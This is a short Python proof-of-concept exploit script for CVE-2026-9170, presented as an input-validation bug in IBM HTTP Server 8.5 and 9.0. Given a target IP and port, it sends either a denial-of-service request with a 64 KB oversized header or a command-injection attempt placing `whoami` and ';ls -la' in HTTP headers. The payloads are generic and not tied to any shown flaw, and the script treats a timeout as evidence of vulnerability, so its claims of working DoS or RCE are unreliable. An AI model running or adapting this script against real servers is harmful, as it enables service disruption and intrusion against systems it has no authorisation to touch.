CVE-2026-9170: IBM HTTP Server 输入验证错误导致拒绝服务/远程代码执行

# CVE-2026-9170 PoC - IBM HTTP Server Input Validation RCE/DoS # Target: IBM HTTP Server 8.5, 9.0 # Note: This PoC is for educational and authorized testing purposes only import socket import sys def send_exploit(target_ip, target_port, payload_type='dos'): """ Send exploit payload to vulnerable IBM HTTP Server Args: target_ip: Target server IP address target_port: Target server port (default: 80 or 443) payload_type: 'dos' for DoS or 'rce' for RCE attempt """ try: # Create socket connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) if payload_type == 'dos': # Denial of Service payload - malformed HTTP request # Triggers improper input validation payload = b'GET / HTTP/1.1\r\n' payload += b'Host: ' + target_ip.encode() + b'\r\n' payload += b'User-Agent: Mozilla/5.0\r\n' payload += b'Accept: */*\r\n' # Malformed header with excessive length to trigger validation error payload += b'X-Overflow: ' + b'A' * 65536 + b'\r\n\r\n' else: # Potential RCE payload - command injection via input validation bypass payload = b'GET / HTTP/1.1\r\n' payload += b'Host: ' + target_ip.encode() + b'\r\n' payload += b'User-Agent: Mozilla/5.0\r\n' # Attempt to inject shell commands through unvalidated input payload += b'X-Command: `whoami`\r\n' payload += b'X-Encoded: ;ls -la\r\n' payload += b'\r\n' print(f'[*] Sending {payload_type.upper()} payload to {target_ip}:{target_port}') sock.send(payload) # Receive response response = sock.recv(4096) print(f'[*] Response received: {len(response)} bytes') sock.close() return True except socket.timeout: print('[!] Connection timeout - server may be vulnerable and not responding') return True except Exception as e: print(f'[!] Error: {str(e)}') return False if __name__ == '__main__': if len(sys.argv) < 3: print('Usage: python cve-2026-9170.py <target_ip> <target_port> [dos|rce]') print('Example: python cve-2026-9170.py 192.168.1.100 80 dos') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) ptype = sys.argv[3] if len(sys.argv) > 3 else 'dos' send_exploit(target, port, ptype)